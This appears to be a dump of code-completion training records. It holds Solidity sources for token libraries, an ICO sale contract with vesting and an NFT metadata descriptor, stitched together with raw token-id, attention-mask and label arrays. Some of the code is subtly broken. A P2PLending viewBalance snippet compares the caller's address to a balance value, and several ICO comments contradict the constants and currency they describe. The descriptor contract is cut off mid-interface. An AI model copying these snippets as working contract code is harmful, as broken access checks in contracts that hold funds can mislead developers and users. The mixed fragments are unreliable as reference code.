Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev modifier to allow actions only when the contract IS paused */ modifier whenNotPaused() { require(!paused); _; } /** * @dev modifier to allow actions only when the contract IS NOT paused */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() public onlyOwner whenNotPaused { paused = true; emit Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() public onlyOwner whenPaused { paused = false; emit Unpause(); } } /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /** * @title ICO * @dev ICO is a base contract for managing a public token sale, * allowing investors to purchase tokens with ether. This contract implements * such functionality in its most fundamental form and can be extended to provide additional * functionality and/or custom behavior. * The external interface represents the basic interface for purchasing tokens, and conform * the base architecture for a public sale. They are *not* intended to be modified / overriden. * The internal interface conforms the extensible and modifiable surface of public token sales. Override * the methods to add functionality. Consider using 'super' where appropiate to concatenate * behavior. */ contract ICOEth is Ownable, Pausable { using SafeMath for uint256; using SafeERC20 for IERC20; struct UserDetail { uint256 depositAmount; uint256 totalRewardAmount; uint256 withdrawAmount; } // The token being sold IERC20 public immutable token; // Decimals vlaue of the token uint256 tokenDecimals; // Address where funds are collected address payable public wallet; // How many token units a buyer gets per ETH/wei during ICO. The ETH price is fixed at 400$ during the ICO to guarantee the 30 % discount rate with the presale rate uint256 public ethRatePerToken; // 1 DCASH Token = 0.001 ETH in wei // Amount of Dai raised during the ICO period uint256 public totalDepositAmount; uint256 private pendingTokenToSend; // Minimum purchase size of incoming ether amount uint256 public constant minPurchaseIco = 0.001 ether; // Unlock time stamp. uint256 public unlockTime; // The percent that unlocked after unlocktime. 5% uint256 private firstUnlockPercent = 5; // The percent that unlocked weekly. 5% uint256 private weeklyUnlockPercent = 5; // 1 week as a timestamp. uint256 private oneWeek = 604800; // 8 months as a timestamp. uint256 private oneyear = 31556926; // ICO start/end bool public ico = false; // State of the ongoing sales ICO period // User deposit Dai amount mapping(address => UserDetail) public userDetails; event TokenPurchase(address indexed buyer, uint256 value, uint256 amount); event ClaimTokens(address indexed user, uint256 amount); event WithdrawETH(address indexed sender, address indexed recipient, uint256 amount); /** * @param _wallet Address where collected funds will be forwarded to * @param _token Address of reward token * @param _tokenDecimals The decimal of reward token * @param _ethRatePerToken How many token units a buy get per Dai token. */ constructor( address payable _wallet, IERC20 _token, uint256 _tokenDecimals, uint256 _ethRatePerToken ) { require(_wallet != address(0) && address(_token) != address(0)); wallet = _wallet; token = _token; tokenDecimals = _tokenDecimals; ethRatePerToken = _ethRatePerToken; // start ico ico = true; } // ----------------------------------------- // ICO external interface // ----------------------------------------- receive() external payable { buyTokens(); } /** * @dev low level token purchase ***DO NOT OVERRIDE*** */ function buyTokens() internal whenNotPaused { require(ico, "ICO.buyTokens: ICO is already finished."); require(unlockTime == 0 || _getNow() < unlockTime, "ICO.buyTokens: Buy period already finished."); require(msg.value >= minPurchaseIco, "ICO.buyTokens: Failed the amount is not respecting the minimum deposit of ICO"); uint256 tokenAmount = _getTokenAmount(msg.value); require(token.balanceOf(address(this)).sub(pendingTokenToSend) >= tokenAmount, "ICO.buyTokens: not enough token to send"); (bool transferSuccess,) = wallet.call{value : msg.value}(""); require(transferSuccess, "ICO.buyTokens: Failed to send deposit ether"); totalDepositAmount = totalDepositAmount.add(msg.value); pendingTokenToSend = pendingTokenToSend.add(tokenAmount); UserDetail storage userDetail = userDetails[msg.sender]; userDetail.depositAmount = userDetail.depositAmount.add(msg.value); userDetail.totalRewardAmount = userDetail.totalRewardAmount.add(tokenAmount); emit TokenPurchase(msg.sender, msg.value, tokenAmount); } function claimTokens() external { require(!ico, "ICO.claimTokens: ico is not finished yet."); uint256 unlocked = unlockedToken(msg.sender); require(unlocked > 0, "ICO.claimTokens: Nothing to claim."); UserDetail storage user = userDetails[msg.sender]; user.withdrawAmount = user.withdrawAmount.add(unlocked); pendingTokenToSend = pendingTokenToSend.sub(unlocked); token.transfer(msg.sender, unlocked); emit ClaimTokens(msg.sender, unlocked); } /* ADMINISTRATIVE FUNCTIONS */ // Update the ETH ICO rate in wei function updateEthRatePerToken(uint256 _ethRatePerToken) external onlyOwner { ethRatePerToken = _ethRatePerToken; } // start/close Ico function setIco(bool status) external onlyOwner { ico = status; } // Update the ETH ICO rate function updateUnlockTime(uint256 _unlockTime) external onlyOwner { require(_unlockTime >= _getNow(), "ICO.updateUnlockTime: Can't set prev time as a unlock time"); unlockTime = _unlockTime; } // Withdraw Eth amount in the contract function withdrawEth() external onlyOwner { uint256 ethBalance = address(this).balance; (bool transferSuccess,) = wallet.call{value : ethBalance}(""); require(transferSuccess, "ICO.withdrawEth: Failed to send ether"); emit WithdrawETH(address(this), wallet, ethBalance); } // ----------------------------------------- // View functions // ----------------------------------------- function unlockedToken(address _user) public view returns (uint256) { UserDetail storage user = userDetails[_user]; uint256 unlocked; if(unlockTime == 0) { return 0; } else if (_getNow() < unlockTime) { return 0; } else { uint256 timePassed = _getNow().sub(unlockTime); if (timePassed < oneyear) { unlocked = user.totalRewardAmount.mul(firstUnlockPercent).div(100); } else { timePassed = timePassed.sub(oneyear); uint256 weekPassed = timePassed.div(oneWeek); if(weekPassed >= 20){ unlocked = user.totalRewardAmount; } else { uint256 unlockedPercent = (weeklyUnlockPercent.mul(weekPassed)).add(firstUnlockPercent); unlocked = user.totalRewardAmount.mul(unlockedPercent).div(100); } } return unlocked.sub(user.withdrawAmount); } } // Calcul the amount of token the benifiaciary will get by buying during Sale function _getTokenAmount(uint256 _ethAmount) internal view returns (uint256) { uint256 _amountToSend = _ethAmount.mul(10 ** tokenDecimals).div(ethRatePerToken); return _amountToSend; } function _getNow() public virtual view returns (uint256) { return block.timestamp; } }
Address where funds are collected
address payable public wallet;
1,646,677
[ 1, 1887, 1625, 284, 19156, 854, 12230, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 1758, 8843, 429, 1071, 9230, 31, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/42/0x7729c250167787a6b92df8649065254E1289B1E8/sources/P2PLending.sol
function viewBalance(address index) public view returns (uint) {require(msg.sender == balances[msg.sender], 'you aren\'t the BankAccount owner');
return balances[index];
3,374,835
[ 1, 915, 1476, 13937, 12, 2867, 770, 13, 1071, 1476, 1135, 261, 11890, 13, 288, 6528, 12, 3576, 18, 15330, 422, 324, 26488, 63, 3576, 18, 15330, 6487, 296, 19940, 11526, 3730, 88, 326, 25610, 3032, 3410, 8284, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 327, 324, 26488, 63, 1615, 15533, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; pragma abicoder v2; import "./interfaces/IOniiChainDescriptor.sol"; import "./interfaces/IOniiChain.sol"; import "./libraries/NFTDescriptor.sol"; import "./libraries/DetailHelper.sol"; import "base64-sol/base64.sol"; /// @title Describes Onii /// @notice Produces a string containing the data URI for a JSON metadata string contract OniiChainDescriptor is IOniiChainDescriptor { /// @dev Max value for defining probabilities uint256 internal constant MAX = 100000; uint256[] internal BACKGROUND_ITEMS = [4000, 3400, 3080, 2750, 2400, 1900, 1200, 0]; uint256[] internal SKIN_ITEMS = [2000, 1000, 0]; uint256[] internal NOSE_ITEMS = [10, 0]; uint256[] internal MARK_ITEMS = [50000, 40000, 31550, 24550, 18550, 13550, 9050, 5550, 2550, 550, 50, 10, 0]; uint256[] internal EYEBROW_ITEMS = [65000, 40000, 20000, 10000, 4000, 0]; uint256[] internal MASK_ITEMS = [20000, 14000, 10000, 6000, 2000, 1000, 100, 0]; uint256[] internal EARRINGS_ITEMS = [50000, 38000, 28000, 20000, 13000, 8000, 5000, 2900, 1000, 100, 30, 0]; uint256[] internal ACCESSORY_ITEMS = [ 50000, 43000, 36200, 29700, 23400, 17400, 11900, 7900, 4400, 1400, 400, 200, 11, 1, 0 ]; uint256[] internal MOUTH_ITEMS = [ 80000, 63000, 48000, 36000, 27000, 19000, 12000, 7000, 4000, 2000, 1000, 500, 50, 0 ]; uint256[] internal HAIR_ITEMS = [ 97000, 94000, 91000, 88000, 85000, 82000, 79000, 76000, 73000, 70000, 67000, 64000, 61000, 58000, 55000, 52000, 49000, 46000, 43000, 40000, 37000, 34000, 31000, 28000, 25000, 22000, 19000, 16000, 13000, 10000, 3000, 1000, 0 ]; uint256[] internal EYE_ITEMS = [ 98000, 96000, 94000, 92000, 90000, 88000, 86000, 84000, 82000, 80000, 78000, 76000, 74000, 72000, 70000, 68000, 60800, 53700, 46700, 39900, 33400, 27200, 21200, 15300, 10600, 6600, 3600, 2600, 1700, 1000, 500, 100, 10, 0 ]; /// @inheritdoc IOniiChainDescriptor function tokenURI(IOniiChain oniiChain, uint256 tokenId) external view override returns (string memory) { NFTDescriptor.SVGParams memory params = getSVGParams(oniiChain, tokenId); params.background = getBackgroundId(params); string memory image = Base64.encode(bytes(NFTDescriptor.generateSVGImage(params))); string memory name = NFTDescriptor.generateName(params, tokenId); string memory description = NFTDescriptor.generateDescription(params); string memory attributes = NFTDescriptor.generateAttributes(params); return string( abi.encodePacked( "data:application/json;base64,", Base64.encode( bytes( abi.encodePacked( '{"name":"', name, '", "description":"', description, '", "attributes":', attributes, ', "image": "', "data:image/svg+xml;base64,", image, '"}' ) ) ) ) ); } /// @inheritdoc IOniiChainDescriptor function generateHairId(uint256 tokenId, uint256 seed) external view override returns (uint8) { return DetailHelper.generate(MAX, seed, HAIR_ITEMS, this.generateHairId.selector, tokenId); } /// @inheritdoc IOniiChainDescriptor function generateEyeId(uint256 tokenId, uint256 seed) external view override returns (uint8) { return DetailHelper.generate(MAX, seed, EYE_ITEMS, this.generateEyeId.selector, tokenId); } /// @inheritdoc IOniiChainDescriptor function generateEyebrowId(uint256 tokenId, uint256 seed) external view override returns (uint8) { return DetailHelper.generate(MAX, seed, EYEBROW_ITEMS, this.generateEyebrowId.selector, tokenId); } /// @inheritdoc IOniiChainDescriptor function generateNoseId(uint256 tokenId, uint256 seed) external view override returns (uint8) { return DetailHelper.generate(MAX, seed, NOSE_ITEMS, this.generateNoseId.selector, tokenId); } /// @inheritdoc IOniiChainDescriptor function generateMouthId(uint256 tokenId, uint256 seed) external view override returns (uint8) { return DetailHelper.generate(MAX, seed, MOUTH_ITEMS, this.generateMouthId.selector, tokenId); } /// @inheritdoc IOniiChainDescriptor function generateMarkId(uint256 tokenId, uint256 seed) external view override returns (uint8) { return DetailHelper.generate(MAX, seed, MARK_ITEMS, this.generateMarkId.selector, tokenId); } /// @inheritdoc IOniiChainDescriptor function generateEarringsId(uint256 tokenId, uint256 seed) external view override returns (uint8) { return DetailHelper.generate(MAX, seed, EARRINGS_ITEMS, this.generateEarringsId.selector, tokenId); } /// @inheritdoc IOniiChainDescriptor function generateAccessoryId(uint256 tokenId, uint256 seed) external view override returns (uint8) { return DetailHelper.generate(MAX, seed, ACCESSORY_ITEMS, this.generateAccessoryId.selector, tokenId); } /// @inheritdoc IOniiChainDescriptor function generateMaskId(uint256 tokenId, uint256 seed) external view override returns (uint8) { return DetailHelper.generate(MAX, seed, MASK_ITEMS, this.generateMaskId.selector, tokenId); } /// @inheritdoc IOniiChainDescriptor function generateSkinId(uint256 tokenId, uint256 seed) external view override returns (uint8) { return DetailHelper.generate(MAX, seed, SKIN_ITEMS, this.generateSkinId.selector, tokenId); } /// @dev Get SVGParams from OniiChain.Detail function getSVGParams(IOniiChain oniiChain, uint256 tokenId) private view returns (NFTDescriptor.SVGParams memory) { IOniiChain.Detail memory detail = oniiChain.details(tokenId); return NFTDescriptor.SVGParams({ hair: detail.hair, eye: detail.eye, eyebrow: detail.eyebrow, nose: detail.nose, mouth: detail.mouth, mark: detail.mark, earring: detail.earrings, accessory: detail.accessory, mask: detail.mask, skin: detail.skin, original: detail.original, background: 0, timestamp: detail.timestamp, creator: detail.creator }); } function getBackgroundId(NFTDescriptor.SVGParams memory params) private view returns (uint8) { uint256 score = itemScorePosition(params.hair, HAIR_ITEMS) + itemScoreProba(params.accessory, ACCESSORY_ITEMS) + itemScoreProba(params.earring, EARRINGS_ITEMS) + itemScoreProba(params.mask, MASK_ITEMS) + itemScorePosition(params.mouth, MOUTH_ITEMS) + (itemScoreProba(params.skin, SKIN_ITEMS) / 2) + itemScoreProba(params.skin, SKIN_ITEMS) + itemScoreProba(params.nose, NOSE_ITEMS) + itemScoreProba(params.mark, MARK_ITEMS) + itemScorePosition(params.eye, EYE_ITEMS) + itemScoreProba(params.eyebrow, EYEBROW_ITEMS); return DetailHelper.pickItems(score, BACKGROUND_ITEMS); } /// @dev Get item score based on his probability function itemScoreProba(uint8 item, uint256[] memory ITEMS) private pure returns (uint256) { uint256 raw = ((item == 1 ? MAX : ITEMS[item - 2]) - ITEMS[item - 1]); return ((raw >= 1000) ? raw * 6 : raw) / 1000; } /// @dev Get item score based on his index function itemScorePosition(uint8 item, uint256[] memory ITEMS) private pure returns (uint256) { uint256 raw = ITEMS[item - 1]; return ((raw >= 1000) ? raw * 6 : raw) / 1000; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; pragma abicoder v2; import "./IOniiChain.sol"; /// @title Describes Onii via URI interface IOniiChainDescriptor { /// @notice Produces the URI describing a particular Onii (token id) /// @dev Note this URI may be a data: URI with the JSON contents directly inlined /// @param oniiChain The OniiChain contract /// @param tokenId The ID of the token for which to produce a description /// @return The URI of the ERC721-compliant metadata function tokenURI(IOniiChain oniiChain, uint256 tokenId) external view returns (string memory); /// @notice Generate randomly an ID for the hair item /// @param tokenId the current tokenId /// @param seed Used for the initialization of the number generator. /// @return the hair item id function generateHairId(uint256 tokenId, uint256 seed) external view returns (uint8); /// @notice Generate randomly an ID for the eye item /// @param tokenId the current tokenId /// @param seed Used for the initialization of the number generator. /// @return the eye item id function generateEyeId(uint256 tokenId, uint256 seed) external view returns (uint8); /// @notice Generate randomly an ID for the eyebrow item /// @param tokenId the current tokenId /// @param seed Used for the initialization of the number generator. /// @return the eyebrow item id function generateEyebrowId(uint256 tokenId, uint256 seed) external view returns (uint8); /// @notice Generate randomly an ID for the nose item /// @param tokenId the current tokenId /// @param seed Used for the initialization of the number generator. /// @return the nose item id function generateNoseId(uint256 tokenId, uint256 seed) external view returns (uint8); /// @notice Generate randomly an ID for the mouth item /// @param tokenId the current tokenId /// @param seed Used for the initialization of the number generator. /// @return the mouth item id function generateMouthId(uint256 tokenId, uint256 seed) external view returns (uint8); /// @notice Generate randomly an ID for the mark item /// @param tokenId the current tokenId /// @param seed Used for the initialization of the number generator. /// @return the mark item id function generateMarkId(uint256 tokenId, uint256 seed) external view returns (uint8); /// @notice Generate randomly an ID for the earrings item /// @param tokenId the current tokenId /// @param seed Used for the initialization of the number generator. /// @return the earrings item id function generateEarringsId(uint256 tokenId, uint256 seed) external view returns (uint8); /// @notice Generate randomly an ID for the accessory item /// @param tokenId the current tokenId /// @param seed Used for the initialization of the number generator. /// @return the accessory item id function 